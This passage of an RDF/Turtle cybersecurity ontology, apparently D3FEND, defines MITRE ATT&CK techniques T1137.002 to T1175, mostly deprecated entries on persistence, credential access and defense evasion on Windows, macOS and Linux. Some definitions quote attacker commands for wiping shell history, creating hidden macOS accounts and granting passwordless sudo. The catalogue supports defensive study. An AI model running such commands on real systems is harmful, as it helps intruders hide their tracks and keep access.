    d3f:attack-id "T1137.002" ;
    d3f:definition "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)" ;
    d3f:modifies d3f:SystemConfigurationDatabaseRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        d3f:T1137 .

d3f:T1137.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Outlook Forms" ;
    d3f:adds d3f:OfficeApplicationFile ;
    d3f:attack-id "T1137.003" ;
    d3f:definition "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:adds ;
            owl:someValuesFrom d3f:OfficeApplicationFile ],
        d3f:T1137 .

d3f:T1137.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Outlook Home Page" ;
    d3f:attack-id "T1137.004" ;
    d3f:definition "Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)" ;
    d3f:modifies d3f:ApplicationConfigurationDatabase ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ApplicationConfigurationDatabase ],
        d3f:T1137 .

d3f:T1137.005 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Outlook Rules" ;
    d3f:attack-id "T1137.005" ;
    d3f:definition "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)" ;
    d3f:modifies d3f:ApplicationConfigurationDatabase ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ApplicationConfigurationDatabase ],
        d3f:T1137 .

d3f:T1137.006 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Add-ins" ;
    d3f:adds d3f:Software ;
    d3f:attack-id "T1137.006" ;
    d3f:definition "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)" ;
    d3f:may-modify d3f:SystemConfigurationDatabase ;
    d3f:modifies d3f:OfficeApplication ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:adds ;
            owl:someValuesFrom d3f:Software ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:OfficeApplication ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:SystemConfigurationDatabase ],
        d3f:T1137 .

d3f:T1138 a owl:Class ;
    rdfs:label "Application Shimming" ;
    d3f:attack-id "T1138" ;
    d3f:definition "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS." ;
    rdfs:comment "This technique has been revoked by T1546.011" ;
    rdfs:seeAlso d3f:T1546.011 ;
    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1139 a owl:Class ;
    rdfs:label "Bash History" ;
    d3f:attack-id "T1139" ;
    d3f:definition "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)" ;
    rdfs:comment "This technique has been revoked by T1552.003" ;
    rdfs:seeAlso d3f:T1552.003 ;
    rdfs:subClassOf d3f:CredentialAccessTechnique ;
    owl:deprecated true .

d3f:T1140 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Deobfuscate/Decode Files or Information" ;
    d3f:attack-id "T1140" ;
    d3f:definition "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system." ;
    d3f:invokes d3f:CreateProcess ;
    d3f:may-add d3f:ExecutableFile ;
    d3f:may-modify d3f:EventLog ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-add ;
            owl:someValuesFrom d3f:ExecutableFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:EventLog ],
        d3f:DefenseEvasionTechnique .

d3f:T1141 a owl:Class ;
    rdfs:label "Input Prompt" ;
    d3f:attack-id "T1141" ;
    d3f:definition "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088))." ;
    rdfs:comment "This technique has been revoked by T1056.002" ;
    rdfs:seeAlso d3f:T1056.002 ;
    rdfs:subClassOf d3f:CredentialAccessTechnique ;
    owl:deprecated true .

d3f:T1142 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Keychain" ;
    d3f:accesses d3f:EncryptedCredential ;
    d3f:attack-id "T1142" ;
    d3f:definition "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials." ;
    rdfs:comment "This technique has been revoked by T1555.001" ;
    rdfs:seeAlso d3f:T1555.001 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:EncryptedCredential ],
        d3f:CredentialAccessTechnique ;
    owl:deprecated true .

d3f:T1143 a owl:Class ;
    rdfs:label "Hidden Window" ;
    d3f:attack-id "T1143" ;
    d3f:definition "Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system." ;
    rdfs:comment "This technique has been revoked by T1564.003" ;
    rdfs:seeAlso d3f:T1564.003 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1144 a owl:Class ;
    rdfs:label "Gatekeeper Bypass" ;
    d3f:attack-id "T1144" ;
    d3f:definition "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution." ;
    rdfs:comment "This technique has been revoked by T1553.001" ;
    rdfs:seeAlso d3f:T1553.001 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1145 a owl:Class ;
    rdfs:label "Private Keys" ;
    d3f:attack-id "T1145" ;
    d3f:definition "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)" ;
    rdfs:comment "This technique has been revoked by T1552.004" ;
    rdfs:seeAlso d3f:T1552.004 ;
    rdfs:subClassOf d3f:CredentialAccessTechnique ;
    owl:deprecated true .

d3f:T1146 a owl:Class ;
    rdfs:label "Clear Command History" ;
    d3f:attack-id "T1146" ;
    d3f:definition "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>." ;
    rdfs:comment "This technique has been revoked by T1070.003" ;
    rdfs:seeAlso d3f:T1070.003 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1147 a owl:Class ;
    rdfs:label "Hidden Users" ;
    d3f:attack-id "T1147" ;
    d3f:definition "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit)." ;
    rdfs:comment "This technique has been revoked by T1564.002" ;
    rdfs:seeAlso d3f:T1564.002 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1148 a owl:Class ;
    rdfs:label "HISTCONTROL" ;
    d3f:attack-id "T1148" ;
    d3f:definition "The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands." ;
    rdfs:comment "This technique has been revoked by T1562.003" ;
    rdfs:seeAlso d3f:T1562.003 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1149 a owl:Class ;
    rdfs:label "LC_MAIN Hijacking" ;
    d3f:attack-id "T1149" ;
    d3f:definition "**This technique has been deprecated and should no longer be used.**" ;
    rdfs:comment "**This technique has been deprecated and should no longer be used.**" ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1150 a owl:Class ;
    rdfs:label "Plist Modification" ;
    d3f:attack-id "T1150" ;
    d3f:definition "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges)." ;
    rdfs:comment "This technique has been revoked by T1547.011" ;
    rdfs:seeAlso d3f:T1547.011 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1151 a owl:Class ;
    rdfs:label "Space after Filename" ;
    d3f:attack-id "T1151" ;
    d3f:definition "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back)." ;
    rdfs:comment "This technique has been revoked by T1036.006" ;
    rdfs:seeAlso d3f:T1036.006 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:ExecutionTechnique ;
    owl:deprecated true .

d3f:T1152 a owl:Class ;
    rdfs:label "Launchctl" ;
    d3f:attack-id "T1152" ;
    d3f:definition "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made  (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges." ;
    rdfs:comment "This technique has been revoked by T1569.001" ;
    rdfs:seeAlso d3f:T1569.001 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:ExecutionTechnique,
        d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1153 a owl:Class ;
    rdfs:label "Source" ;
    d3f:attack-id "T1153" ;
    d3f:definition "**This technique has been deprecated and should no longer be used.**" ;
    rdfs:comment "**This technique has been deprecated and should no longer be used.**" ;
    rdfs:subClassOf d3f:ExecutionTechnique ;
    owl:deprecated true .

d3f:T1154 a owl:Class ;
    rdfs:label "Trap" ;
    d3f:attack-id "T1154" ;
    d3f:definition "The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common  keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)" ;
    rdfs:comment "This technique has been revoked by T1546.005" ;
    rdfs:seeAlso d3f:T1546.005 ;
    rdfs:subClassOf d3f:ExecutionTechnique,
        d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1155 a owl:Class ;
    rdfs:label "AppleScript" ;
    d3f:attack-id "T1155" ;
    d3f:definition "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program." ;
    rdfs:comment "This technique has been revoked by T1059.002" ;
    rdfs:seeAlso d3f:T1059.002 ;
    rdfs:subClassOf d3f:ExecutionTechnique ;
    owl:deprecated true .

d3f:T1156 a owl:Class ;
    rdfs:label "Malicious Shell Modification" ;
    d3f:attack-id "T1156" ;
    d3f:definition "Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use <code>/etc/profile</code> when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately." ;
    rdfs:comment "This technique has been revoked by T1546.004" ;
    rdfs:seeAlso d3f:T1546.004 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1157 a owl:Class ;
    rdfs:label "Dylib Hijacking" ;
    d3f:attack-id "T1157" ;
    d3f:definition "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence." ;
    rdfs:comment "This technique has been revoked by T1574.004" ;
    rdfs:seeAlso d3f:T1574.004 ;
    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1158 a owl:Class ;
    rdfs:label "Hidden Files and Directories" ;
    d3f:attack-id "T1158" ;
    d3f:definition "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS)." ;
    rdfs:comment "This technique has been revoked by T1564.001" ;
    rdfs:seeAlso d3f:T1564.001 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1159 a owl:Class ;
    rdfs:label "Launch Agent" ;
    d3f:attack-id "T1159" ;
    d3f:definition "Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware)." ;
    rdfs:comment "This technique has been revoked by T1543.001" ;
    rdfs:seeAlso d3f:T1543.001 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1160 a owl:Class ;
    rdfs:label "Launch Daemon" ;
    d3f:attack-id "T1160" ;
    d3f:definition "Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence)." ;
    rdfs:comment "This technique has been revoked by T1543.004" ;
    rdfs:seeAlso d3f:T1543.004 ;
    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1161 a owl:Class ;
    rdfs:label "LC_LOAD_DYLIB Addition" ;
    d3f:attack-id "T1161" ;
    d3f:definition "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X)." ;
    rdfs:comment "This technique has been revoked by T1546.006" ;
    rdfs:seeAlso d3f:T1546.006 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1162 a owl:Class ;
    rdfs:label "Login Item" ;
    d3f:attack-id "T1162" ;
    d3f:definition "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method <code> SMLoginItemSetEnabled </code> can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well  (Citation: Adding Login Items)." ;
    rdfs:comment "This technique has been revoked by T1547.011" ;
    rdfs:seeAlso d3f:T1547.011 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1163 a owl:Class ;
    rdfs:label "Rc.common" ;
    d3f:attack-id "T1163" ;
    d3f:definition "During the boot process, macOS executes <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used." ;
    rdfs:comment "This technique has been revoked by T1037.004" ;
    rdfs:seeAlso d3f:T1037.004 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1164 a owl:Class ;
    rdfs:label "Re-opened Applications" ;
    d3f:attack-id "T1164" ;
    d3f:definition "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist</code>." ;
    rdfs:comment "This technique has been revoked by T1547.007" ;
    rdfs:seeAlso d3f:T1547.007 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1165 a owl:Class ;
    rdfs:label "Startup Items" ;
    d3f:attack-id "T1165" ;
    d3f:definition "Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory." ;
    rdfs:comment "This technique has been revoked by T1037.005" ;
    rdfs:seeAlso d3f:T1037.005 ;
    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1166 a owl:Class ;
    rdfs:label "Setuid and Setgid" ;
    d3f:attack-id "T1166" ;
    d3f:definition "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively  (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>." ;
    rdfs:comment "This technique has been revoked by T1548.001" ;
    rdfs:seeAlso d3f:T1548.001 ;
    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1167 a owl:Class ;
    rdfs:label "Securityd Memory" ;
    d3f:attack-id "T1167" ;
    d3f:definition "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)" ;
    rdfs:comment "This technique has been revoked by T1555.002" ;
    rdfs:seeAlso d3f:T1555.002 ;
    rdfs:subClassOf d3f:CredentialAccessTechnique ;
    owl:deprecated true .

d3f:T1168 a owl:Class ;
    rdfs:label "Local Job Scheduling" ;
    d3f:attack-id "T1168" ;
    d3f:definition "On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH)." ;
    rdfs:comment "This technique has been revoked by T1053" ;
    rdfs:seeAlso d3f:T1053 ;
    rdfs:subClassOf d3f:ExecutionTechnique,
        d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1169 a owl:Class ;
    rdfs:label "Sudo" ;
    d3f:attack-id "T1169" ;
    d3f:definition "The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware)." ;
    rdfs:comment "This technique has been revoked by T1548.003" ;
    rdfs:seeAlso d3f:T1548.003 ;
    rdfs:subClassOf d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1170 a owl:Class ;
    rdfs:label "Mshta" ;
    d3f:attack-id "T1170" ;
    d3f:definition "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)" ;
    rdfs:comment "This technique has been revoked by T1218.005" ;
    rdfs:seeAlso d3f:T1218.005 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:ExecutionTechnique ;
    owl:deprecated true .

d3f:T1171 a owl:Class ;
    rdfs:label "LLMNR/NBT-NS Poisoning and Relay" ;
    d3f:attack-id "T1171" ;
    d3f:definition "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)" ;
    rdfs:comment "This technique has been revoked by T1557.001" ;
    rdfs:seeAlso d3f:T1557.001 ;
    rdfs:subClassOf d3f:CredentialAccessTechnique ;
    owl:deprecated true .

d3f:T1172 a owl:Class ;
    rdfs:label "Domain Fronting" ;
    d3f:attack-id "T1172" ;
    d3f:definition "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored)." ;
    rdfs:comment "This technique has been revoked by T1090.004" ;
    rdfs:seeAlso d3f:T1090.004 ;
    rdfs:subClassOf d3f:CommandAndControlTechnique ;
    owl:deprecated true .

d3f:T1173 a owl:Class ;
    rdfs:label "Dynamic Data Exchange" ;
    d3f:attack-id "T1173" ;
    d3f:definition "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution." ;
    rdfs:comment "This technique has been revoked by T1559.002" ;
    rdfs:seeAlso d3f:T1559.002 ;
    rdfs:subClassOf d3f:ExecutionTechnique ;
    owl:deprecated true .

d3f:T1174 a owl:Class ;
    rdfs:label "Password Filter DLL" ;
    d3f:attack-id "T1174" ;
    d3f:definition "Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts." ;
    rdfs:comment "This technique has been revoked by T1556.002" ;
    rdfs:seeAlso d3f:T1556.002 ;
    rdfs:subClassOf d3f:CredentialAccessTechnique ;
    owl:deprecated true .

d3f:T1175 a owl:Class ;
    rdfs:label "Component Object Model and Distributed COM" ;
    d3f:attack-id "T1175" ;
    d3f:definition "**This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**" ;
